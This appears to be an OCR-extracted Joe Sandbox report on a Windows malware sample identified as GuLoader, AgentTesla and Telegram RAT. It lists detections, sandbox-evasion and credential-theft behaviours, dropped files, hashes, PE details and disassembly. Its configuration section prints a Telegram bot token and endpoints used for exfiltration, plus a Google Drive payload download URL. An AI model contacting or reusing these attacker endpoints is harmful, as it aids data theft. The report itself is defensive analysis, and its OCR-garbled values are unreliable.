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Windows Analysis Report

Securitelnfo.com.W32.AlDetect.malware2.8516.exe

Overview
General Information Detection Signatures Classification
Sample Securitelnfo.com.W32.Al ] 3
Name: Detect.malware2.8516.ex MALICIOUS Found malware configuration
e

Multi AV Scanner detection for subm...

Analysis ID: 625379
Yara detected Telegram RAT

MDs: 90e91d605fb261..

SHAL: T my— Yara detected AgentTesla

SHA256: 4700f996868b46... Yara detected GuLoader

Infos: n Q ;f = @, Tries to steal Mail credentials (via fi...
555 D Writes to foreign memory regions

Tries to harvest and steal Putty / W...

AéentTesla,
uloader Tries to detect Any.run

Tries to harvest and steal ftp login c...

Range: 0-100
Whitelisted: false Tries to detect sandboxes and other...
Confidence: 100%

Uses the Telegram API (likely for C...

Process Tree

= System is wl0x64native
. D{, Securitelnfo.com.W32.AlDetect.malware2.8516.exe (PID: 384 cmdline: "C:\Users\user\Desktop\Securitelnfo.com.W32.AlDetect. malware2.8516.exe" MD5:

90E91D605FB261FA827093074C0D7178)
e [ CasPol.exe (PID: 6092 cmdline: "C:\Users\user\Desktop\Securitelnfo.com.W32.AlDetect. malware2.8516.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

e [ CasPol.exe (PID: 1668 cmdline: "C:\Users\user\Desktop\Securitelnfo.com.W32.AlDetect. malware2.8516.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
o conhost.exe (PID: 2624 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)
= cleanup

Malware Configuration
Threatname: Agenttesla

{
"Chat id": "5340613581",

“Chat URL": "https://api.telegram.org/bot5362707045: AAGBjk YF97cvi4xaEhJ10rouigS3umCPqqA/sendDocument”
}

Threatname: Guloader

{
"Payload URL": "https://drive.google.com/uc?export=download&id=109xcx-d3Bxjd3qTkG604DI9J3fWxwqqB"

}

Threatname: Telegram RAT

{
"C2 url": "https://api.telegram.org/bot5362707045:AAGBjkYF97cvi4xaEhJ10rouigS3umCPqqgA/sendMessage”

}
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Yara Signatures

Memory Dumps

Source Rule Description Author Strings
00000004.00000000.34495451157.0000000001100000.000  JoeSecurity_GuLo Yara detected Joe Security
00040.00000400.00020000.00000000.sdmp ader_2 GuLoader
00000001.00000002.34639544413.0000000002A00000.000  JoeSecurity_GuLo Yara detected Joe Security
00040.00001000.00020000.00000000.sdmp ader_2 GuLoader
00000004.00000002.39282146178.000000001DA11000.000 JoeSecurity_Agent Yara detected Joe Security
00004.00000800.00020000.00000000.sdmp Tesla_1 AgentTesla
00000004.00000002.39282146178.000000001DA11000.000 JoeSecurity_Crede Yara detected Joe Security
00004.00000800.00020000.00000000.sdmp ntialStealer Credential Stealer
00000004.00000002.39282146178.000000001DA11000.000 JoeSecurity_Teleg Yara detected Joe Security
00004.00000800.00020000.00000000.sdmp ramRAT Telegram RAT

Click to see the 3 entries

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

AV Detection

Found malware configuration

Multi AV Scanner detection for submitted file

Networking

Uses the Telegram API (likely for C&C communication)

C2 URLs / IPs found in malware configuration

Data Obfuscation

ra detected GuLoader
Malware Analysis System Evasion m

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions
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Stealing of Sensitive Information lﬂi.

Yara detected Telegram RAT

Yara detected AgentTesla

Tries to steal Mail credentials (via file / registry access)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality lili.

Yara detected Telegram RAT

Yara detected AgentTesla

Mitre Att&ck Matrix

- - . Command Remote
Initial . . Privilege Defense Credential . Lateral . . . Network .
Access Execution Persistence Escalation | Evasion Access Discovery Movement Collection Exfiltration and Effects Service Impact
Control Effects
Valid Remote Exfiltration Eavesdrop Remotely
Accounts Windows DLL Side- DLL Side- Disableor OS File and Services Archive Over Other Web on Insecure Track System
Manageme Loading Loading Modify Credential  Directory Collected Network Service Network Device Shutdown/
nt Tools Dumping Discovery Data Medium Communic  Without Reboot
Instrument ation Authorizati
ation on
Default Boot or Remote Exfiltration Exploit SS7 Remotely  Device
Accounts Native APl Logon Access Deobfuscat Credentials System Desktop Data from  Over Ingress to Redirect Wipe Data  Lockout
Initializatio  Token e/Decode  in Registry Information Protocol Local Bluetooth Tool Phone Without
n Scripts Manipulatio Files or Discovery System Transfer Calls/SMS  Authorizati
n Information on
Domain At (Linux)  Logon Security SMB/Wind Automated Exploit SS7  Obtain Delete
Accounts Script Process Obfuscated Account Security ows Admin  Email Exfiltration  Encrypted  to Track Device Device
(Windows)  Injection Files or Manager Software Shares Collection Channel Device Cloud Data
Information Discovery Location Backups
Local At Logon Logon NTDS Distributed Scheduled SIM Card Carrier
Accounts (Windows)  Script Script DLL Side- Process Component Clipboard  Transfer Non- Swap Billing
(Mac) (Mac) Loading Discovery  Object Data Application Fraud
Model Layer
Protocol
Cloud Cron Network  Network LSA BNl ssH Keylogging Data Manipulate Manipulate
Accounts Logon Logon Virtualizatio Secrets Virtualizatio Transfer Application = Device App Store
Script Script n/Sandbox n/Sandbox Size Limits  Layer Communic Rankings
Evasion Evasion Protocol ation or Ratings
Replication  Launchd Rc.commo  Rc.commo Cached VNC GUl Input  Exfiltration ~ Multiband ~ Jamming or Abuse
Through n n Access Domain Application Capture Over C2 Communic  Denial of Accessibilit
Removable Token Credentials  Window Channel ation Service y Features
Media Manipulatio Discovery
n
External  Scheduled Startup Startup DCSync  Network  Windows  Web Portal Exfiltration ~Commonly  Rogue Wi- Data
Remote Task Iltems Iltems Process Sniffing Remote Capture Over Used Port  Fi Access Encrypted
Services Injection Manageme Alternative Points for Impact

nt Protocol

Behavior Graph
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source Detection Scanner Label Link
Securitelnfo.com.W32.AlDetect. malware2.8516.exe 13% Virustotal Browse
Securitelnfo.com.W32.AlDetect. malware2.8516.exe 7% ReversingLabs Win32.Trojan.Gene
ric

Dropped Files
Source Detection Scanner Label Link
C:\Users\user\AppData\Local\Temp\nsz5764.tmp\System.d|| 0% Metadefender Browse
C:\Users\user\AppData\Local\Temp\nsz5764.tmp\System.d|| 0% ReversingLabs

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches

URLs

Source Detection Scanner Label Link
http://https://Yp7sE2ZThKzSHgA.com 0% Avira URL Cloud safe
http://127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe
http://https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% Avira URL Cloud safe
0.4.3.6.ziphttps://www

http://DynDns.comDynDNSnamejidpasswordPsi/Psi 0% Avira URL Cloud safe
http://https://api.ipify.org%t- 0% Avira URL Cloud safe
http://https://api.ipify.org%%startupfolder% 0% Avira URL Cloud safe

http://yCCtaB.com 0% Avira URL Cloud safe
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https://www.virustotal.com/gui/file/4700f996868b461bae3a5b57efcd8719169d0c9acb400fa77d6a36787b37b0e1/detection/f-4700f996868b461bae3a5b57efcd8719169d0c9acb400fa77d6a36787b37b0e1-1652367452
https://www.metadefender.com/#!/results/file/YnpJeU1EVXhNa2h1T1hCc00wNDJkbkFwYUhFNi1CYS0w/regular/analysis

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
drive.google.com 216.58.212.142 true false high
api.telegram.org 149.154.167.220 true false high
googlehosted.l.googleusercontent.com 142.250.186.33 true false high
doc-04-bk-docs.googleusercontent.com unknown unknown  false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

http://https://doc-04-bk- false high
docs.googleusercontent.com/docs/securesc/haOro937gcuc7I7deffksulhg5h7mbp1/3g810s3jc950nm7

rbudOrh2kvsckdceb/1652368050000/02385140022842422686/*/109xcx-

d3Bxjd3qTkG604DI9J3fWxwqgB?e=download

http:/f false high
https://api.telegram.org/bot5362707045:AAGBjKYF97cvl4xaEhJ10rouigS3umCPqgA/sendDocument

URLs from Memory and Binaries

Name Source Malicious  Antivirus Detection Reputation

http://https://Yp7SE2ZThKzSHgA.com CasPol.exe, 00000004.00000002.3928214617 false e Avira URL Cloud: safe unknown
8.000000001DA11000.00000004.00000800.000
20000.00000000.sdmp, CasPol.exe, 0000000
4.00000002.39283362097.000000001DB2F000.
00000004.00000800.00020000.00000000.sdmp

http://127.0.0.1:HTTP/1.1 CasPol.exe, 00000004.00000002.3928214617 false e Avira URL Cloud: safe low
8.000000001DA11000.00000004.00000800.000
20000.00000000.sdmp

http://https://drive.google.com/5s( CasPol.exe, 00000004.00000002.3925862141 false high
4.000000000149B000.00000004.00000020.000
20000.00000000.sdmp

http://https://api.telegram.org CasPol.exe, 00000004.00000002.3928343330 false high
4.000000001DB37000.00000004.00000800.000
20000.00000000.sdmp

http:// CasPol.exe, 00000004.00000002.3928214617 false high
https://api.telegram.org/bot5362707045:AAGBjkYF97¢c  8.000000001DA11000.00000004.00000800.000
vl4xaEhJ10rouigS3umCPqgA/sendDocumentdocume  20000.00000000.sdmp

http://https://doc-04-bk- CasPol.exe, 00000004.00000003.3461569149 false high
docs.googleusercontent.com/docs/securesc/ha0ro937  6.0000000001521000.00000004.00000020.000
gecuc?l7deffksulhg5h7mbp1/3q810s3j 20000.00000000.sdmp, CasPol.exe, 0000000

4.00000002.39259342233.000000000151A000.
00000004.00000020.00020000.00000000.sdmp,
CasPol.exe, 00000004.00000003.34611069
380.0000000001521000.00000004.00000020.0
0020000.00000000.sdmp, CasPol.exe, 00000
004.00000003.34610499874.000000000152100
0.00000004.00000020.00020000.00000000.sdmp

http:{/https://drive.google.com/ CasPol.exe, 00000004.00000002.3925862141 false high
4.000000000149B000.00000004.00000020.000
20000.00000000.sdmp

http:i/https://api.telegram.org/ CasPol.exe, 00000004.00000002.3925934223 false high
3.000000000151A000.00000004.00000020.000
20000.00000000.sdmp

http:ifhttps://doc-04-bk-docs.googleusercontent.com/R  CasPol.exe, 00000004.00000002.3925895329 false high
6.00000000014E0000.00000004.00000020.000
20000.00000000.sdmp

http:// CasPol.exe, 00000004.00000002.3928214617 false e Avira URL Cloud: safe unknown
https://www.theonionrouter.com/dist.torproject.org/torbr 8.000000001DA11000.00000004.00000800.000
owser/9.5.3/tor-win32-0.4.3.6.ziphttps://www 20000.00000000.sdmp

http://DynDns.comDynDNSnamejidpasswordPsi/Psi CasPol.exe, 00000004.00000002.3928214617 false e Avira URL Cloud: safe unknown
8.000000001DA11000.00000004.00000800.000
20000.00000000.sdmp

http://https://api.ipify.org%t- CasPol.exe, 00000004.00000002.3928214617 false e Avira URL Cloud: safe low
8.000000001DA11000.00000004.00000800.000
20000.00000000.sdmp

http://https://api.ipify.org%%startupfolder% CasPol.exe, 00000004.00000002.3928214617 false e Avira URL Cloud: safe low
8.000000001DA11000.00000004.00000800.000
20000.00000000.sdmp
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Name

http://nsis.sf.net/NSIS_ErrorError

hitp:/fapi.telegram.org

http:ff
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

http.//fyCCtaB.com

http://https://doc-04-bk-docs.googleusercontent.com/

hitp:// https://doc-04-bk-docs.googleusercontent.com/_

World Map of Contacted IPs

> Ay,
%oy 1
Vg X

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
B 75% <No. of IPs

Source
Securitelnfo.com.W32.AlDetect.malware2.8516.exe

CasPol.exe, 00000004.00000002.3928352702
9.000000001DB4C000.00000004.00000800.000
20000.00000000.sdmp

CasPol.exe, 00000004.00000002.3928343330
4.000000001DB37000.00000004.00000800.000
20000.00000000.sdmp

CasPol.exe, 00000004.00000002.3928214617
8.000000001DA11000.00000004.00000800.000
20000.00000000.sdmp

CasPol.exe, 00000004.00000003.3461569149
6.0000000001521000.00000004.00000020.000
20000.00000000.sdmp

CasPol.exe, 00000004.00000002.3925895329
6.00000000014E0000.00000004.00000020.000
20000.00000000.sdmp

Public IPs

P Domain Country Flag
149.154.167.220 api.telegram.org United Kingdom ]
216.58.212.142 drive.google.com United States =
142.250.186.33 googlehosted.l.googleuser United States =

content.com

General Information

Joe Sandbox Version:
Analysis ID:
Start date and time: 12/05/202217:05:34

34.0.0 Boulder Opal
625379
2022-05-12 17:05:34 +02:00

Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 13m 25s
Hypervisor based Inspection enabled: false
Report type: light

Sample file name:

Copyright Joe Security LLC 2022

Securitelnfo.com.W32.AlDetect. malware2.8516.exe

Malicious

false

false

false

false

false

false

ASN

62041
15169
15169

Antivirus Detection

e Avira URL Cloud: safe

ASN Name
TELEGRAMRU
GOOGLEUS
GOOGLEUS

Reputation

high

high

high

unknown

high

high

Malicious
false
false

false
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Cookbook file name:

Analysis system description:

Run name:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings

e o o o

cp.trafficmanager.net

e o o o o o o

Simulations

Behavior and APIs

Time Type

default.jbs

Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe
Reader DC 21, Java 8 Update 301

Suspected Instruction Hammering

7
0

0

0

0

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
default

Timeout

MAL

mal100.troj.spyw.evad.WinEXE@6/4@3/3

.

.

.

.

.

.

.

.

.

.

17:08:11 API Interceptor

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

Copyright Joe Security LLC 2022

Successful, ratio: 100%

Successful, ratio: 30.7% (good quality ratio 30.1%)
Quality average: 87.6%
Quality standard deviation: 21.7%

Successful, ratio: 99%
Number of executed functions: 0
Number of non-executed functions: 0

Found application associated with file extension: .exe
Adjust boot time
Enable AMSI

Exclude process from analysis (whitelisted): dllhost.exe, backgroundTaskHost.exe, svchost.exe
TCP Packets have been reduced to 100

Excluded IPs from analysis (whitelisted): 51.105.236.244

Excluded domains from analysis (whitelisted): wdcpalt.microsoft.com, wd-prod-cp-eu-west-1-fe.westeurope.cloudapp.azure.com, ctldl.windowsupdate.com, wdcp.microsoft.com, wd-prod-

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.
Report size getting too big, t oo many NtAllocateVirtualMemory calls found.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, too many NtProtectVirtualMemory calls found.

Report size getting too big, too many NtQueryValueKey calls found.

Report size getting too big, t oo many NtReadVirtualMemory calls found.

Description

2693x Sleep call for process: CasPol.exe modified
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JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Aftapningers.unc

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.W32.AlDetect. malware2.8516.exe

data

dropped

164654

7.328477148984372

false
3072:00jNBC83H7WOONQkvcWeC4tQMrbfGPmSIiWj1KYOcvH:00jjCmH7bOnQkvczC4tjGOSlIiilpOc/
4F4AB714DFE3298940A65606E9D71F3D

ACAAIB62D1E2245695F551374C3B529AF49D378D
B9E09B4CE4FDOASA9AF776CD64CDADOC1B06FDA01B479E93B9B202BIF2927F4B
921B8C6651FABFA684E911A83439AC43D389F451B07430FF3F98CCD4E7616251C9835B1666039E506B7DABCOFES3EA388B7EOE42FE94D90E70690423838E987E

false

low

C:\Users\user\AppData\Local\Temp\Extracontinental91.lnk

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\SecuriteInfo.com.W32.AlDetect.malware2.8516.exe

MS Windows shortcut, Item id list present, Has Relative path, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, le
ngth=0, window=hide

dropped

876

2.973407432553269

false

12:8gl0URsXUCV/tz+7RafgK DNwpZIEg/rNJkKAh4t2Y CBT08:84+raRMgKKXy45HALIT
7D6897C6C92B6D01EE66251C99676F53
B6FB27DA4E0570E15E6F0649F3BB51BCE7513333
B7C61310744BC6551E039639E78490EA1COC39EDEBD501B7F558FF77AES31DB2

974FAD1FF6D3150830EA036DC7FEDF514ECC5E9CC200D59311C7FD547F52FD2DACEB4D9CC22A9E9DF1DF8392A8E36499EF309193CE169643B705BB728650D
FC

false

low

Wl
L@@ LU bosod Nbdloosos 8
.UN.B.LAZ.O.N.E.D..

RUISTeT S

C:\Users\user\AppData\Local\Temp\nsz5764.tmp\System.dll v

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:

C:\Users\user\Desktop\Securitelnfo.com.W32.AlDetect. malware2.8516.exe
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

12288

5.814115788739565

false
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SSDEEP: 192:Zjvco0gWTIt70m5Aj/IQOSEWD/WtYbBHFNaDybC7y+XBz0QPi:FHQIt70mij/IQRV/9VMizr

MDS5: CFF85C549D536F651D4FB8387F1976F2

SHA1L: D41CE3A5FF609DFICF5C7E207D3B59BF8A48530E

SHA-256: 8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545EDOBAE7F65A8

SHA-512: 531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89BODB501FB66F827B610D460B933BD4ABI36AC2FDBASE
Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

e Antivirus: ReversingLabs, Detection: 0%
Reputation: moderate, very likely benign file

Preview:

\Device\ConDrv

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 30

Entropy (8bit):  3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITQAGRHner

MD5: 9F754B47B351EFOFC32527B541420595

SHA1L: 006C66220B33E98C725B73495FE97B3291CE14D9

SHA-256: 0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512: C6996379BCB774CE27EEECOF173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A0853
Malicious: false

Preview: NordVPN directory not found!..

Static File Info

General

File type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Entropy (8bit):  7.554007831073136

TriD: e Win32 Executable (generic) a (10002005/4) 99.96%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name: Securitelnfo.com.W32.AlDetect.malware2.8516.exe
File size: 253128
MD5: 90e91d605fb261fa827093074c0d7178
SHA1L: 1737b52ca846659954692ac55235addf749e405b
SHA256: 4700f996868b461bae3a5b57efcd8719169d0c9ach400fa77d6a36787hb37b0el
SHAS512: ©637de93126346d108bd7d7dbdal63d2dd492be4645d6bd7e9f7d6af63de094d4839581009ea55b3387aaec8b74311d86f17332246d42e7418ebadb243a3d6cd
SSDEEP: 6144:gbE/HUKIMKDdr00jjCmH7FONQkvWqYIKPwjH25:qboFJHuc7FivWgNPwj25
TLSH: C234D01E3661COEAF88883751B3A9B0B2A9FBC07138219573771B7785B352D3D91E9D8
File Content [V]Z-——— () ————————— !..L.IThis program cannot be run in DOS
Preview: mode....$........ 1..Pf.Pf.Pf*_9.Pf.Pg.LPf*_;. .Pf.sV..Pf.V' ..PfL.Rich.Pf.......cccecennn. PE..L..Z.Oa.....cccoc...... Jeorreennn
File Icon
Icon Hash: 8803969c49c2¢c3c0
Static PE Info
General
Entrypoint: 0x40352d
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Entrypoint Section: text

Digitally signed: true

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x614F9B5A [Sat Sep 25 21:57:46 2021 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: 56a78d55f3f7af51443e58e0ce2fh5f6

Authenticode Signature

Signature Valid: false

Signature Issuer: CN=&#34;gedske Bladring2 Germinates4 &#34;, O=overcull, L=Sucy-en-Brie, S=&#195;&#142;le-de-France, C=FR
Signature Validation Error: A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number: -2146762487

Not Before, Not After e 12/05/2022 10:38:46 12/05/2023 10:38:46

Subject Chain o CN=&#34;gedske Bladring2 Germinates4 &#34;, O=overcull, L=Sucy-en-Brie, S=&#195;&#142;le-de-France, C=FR
Version: 3

Thumbprint MD5: DOACA7F1FD1382B9C35DFC16B627DDFD

Thumbprint SHA-1: BDE2B99EOFDE745B68290E3A60150DFA90ASEEQS

Thumbprint SHA-256: EFD99FBEOF355D7F5157F6E6BC35D3ABB4549B7B947F6131A6F6EAFE73957876

Serial: 4F99C01EF8C999C6

Entrypoint Preview
Instruction

push ebp

mov ebp, esp

sub esp, 000003F4h

push ebx

push esi

push edi

push 00000020h

pop edi

xor ebx, ebx

push 00008001h

mov dword ptr [ebp-14h], ebx

mov dword ptr [ebp-04h], 0040A2EOh
mov dword ptr [ebp-10h], ebx

call dword ptr [004080CCh]

mov esi, dword ptr [004080D0h]

lea eax, dword ptr [ebp-00000140h]
push eax

mov dword ptr [ebp-0000012Ch], ebx
mov dword ptr [ebp-2Ch], ebx

mov dword ptr [ebp-28h], ebx

mov dword ptr [ebp-00000140h], 0000011Ch
call esi

test eax, eax

jne 00007FO6EC98AEGAN

lea eax, dword ptr [ebp-00000140h]
mov dword ptr [ebp-00000140h], 00000114h
push eax

call esi
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Instruction

mov ax, word ptr [ebp-0000012Ch]
mov ecx, dword ptr [ebp-00000112h]
sub ax, 00000053h

add ecx, FFFFFFDOh

neg ax

shb eax, eax

mov byte ptr [ebp-26h], 00000004h
not eax

and eax, ecx

mov word ptr [ebp-2Ch], ax

cmp dword ptr [ebp-0000013Ch], OAh
jnc 00007FO6EC98AE3AN

and word ptr [ebp-00000132h], 0000h
mov eax, dword ptr [ebp-00000134h]
movzx ecx, byte ptr [ebp-00000138h]
mov dword ptr [00434FB8h], eax

Xor eax, eax

mov ah, byte ptr [ebp-0000013Ch]
movzx eax, ax

or eax, ecx

XOr eCX, ecx

mov ch, byte ptr [ebp-2Ch]

movzx ecx, cxX

shl eax, 10h

or eax, ecx

Rich Headers

Programming Language:

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name Virtual Address Virtual Size Raw Size
text 0x1000 0x6897 0x6a00
.rdata 0x8000 0x14a6 0x1600
.data 0xa000 0x2b018 0x600

Copyright Joe Security LLC 2022

o [EXP] VC++ 6.0 SP5 build 8804

Virtual Address
0x0
0x8610
0x68000
0x0
0x3d650
0x0

0x0

0x0

0x0

0x0

0x0

0x0
0x8000
0x0

0x0

0x0

Xored PE ZLIB Complexity

False 0.666126179245

False 0.439275568182

False 0.521484375

Virtual Size
0x0
0xa0
0x139f8
0x0
0x678
0x0

0x0

0x0

0x0

0x0

0x0

0x0
0x2b0
0x0

0x0

0x0

File Type Entropy

data 6.45839821493

data 5.02410928126

data 4.15458210409

Is in Section

rdata

.Isrc

.ndata

.rdata

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_
DATA,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

Page 15 of 44



Name Virtual Address

.ndata 0x36000

.rsrc 0x68000

Resources
Name

RT_ICON

RT_ICON

RT_ICON
RT_ICON
RT_ICON
RT_ICON
RT_ICON
RT_ICON
RT_DIALOG
RT_DIALOG
RT_DIALOG
RT_DIALOG
RT_GROUP_ICON
RT_VERSION

RT_MANIFEST

Imports
DLL

ADVAPI32.dll

SHELL32.dll

ole32.dll
COoMCTL32.dll
USER32.dll

GDI32.dll

KERNEL32.dll

Version Infos
Description
LegalCopyright
FileVersion
CompanyName

LegalTrademarks

Copyright Joe Security LLC 2022

Virtual Size

0x32000

0x139f8

RVA

0x68358

0x708f0

0x74b18
0x770c0
0x78b28
0x79bd0
0x7a558
0x7ac10
0x7b078
0x7b178
0x7b298
0x7b360
0x7b3c0
0x7b438
0x7b6b8

Raw Size

0x0

0x13a00

Size

0x8592

0x4228

0x25a8
0x1a68
0x10a8
0x988
0x6b8
0x468
0x100
Oxlilc
Oxc4
0x60
0x76
0x280

0x33e

Xored PE ZLIB Complexity File Type Entropy Characteristics
False 0 empty 0.0 IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_CNT_UNINITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ
False 0.570984275478 data 6.55035103954 IMAGE_SCN_CNT_INITIALIZED_
DATA, IMAGE_SCN_MEM_READ
Type Language Country
PNG image data, 256 x 256, 8-bit/color RGBA, non-  English United States
interlaced
dBase IV DBT of \200.DBF, blocks size 0, block English United States
length 16896, next free block index 40, next free
block 4294967295, next used block 1056964863
data English United States
data English United States
data English United States
data English United States
data English United States
GLS_BINARY_LSB_FIRST English United States
data English United States
data English United States
data English United States
data English United States
data English United States
data English United States
XML 1.0 document, ASCII text, with very long lines,  English United States

with no line terminators

Import

RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW,
RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW,
RegOpenKeyExW, RegEnumValueW

SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW,
ShellExecuteExW, SHGetFileInfoW

Olelnitialize, OleUninitialize, CoCreatelnstance, lIDFromString, CoTaskMemFree
ImagelList_Create, ImagelList_Destroy, ImageList_ AddMasked

GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW,
MessageBoxIndirectW, GetDlgltemTextW, SetDIgltemTextW, GetSystemMetrics, FillRect, AppendMenuW,
TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW,
GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW,
PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenultem, GetWindowRect, ScreenToClient, EndDialog,
RegisterClassW, SystemParametersinfoW, CreateWindowExW, GetClassInfow, DialogBoxParamW, CharNextW,
ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage,
SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow,
GetDlgltem, SetWindowLongW, LoadimageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW,
DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu

SetBkMode, SetBkColor, GetDeviceCaps, CreateFontindirectW, CreateBrushindirect, DeleteObject, SetTextColor,
SelectObject

GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, IstrcatW,
Sleep, IstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, IstrcmpiA, RemoveDirectoryW, CreateProcessW,
CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW,
WideCharToMultiByte, IstrcpynW, IstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW,
GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess,
GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW,
SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime,
SetFileTime, CloseHandle, IstrcmpiW, IstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc,
GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW,
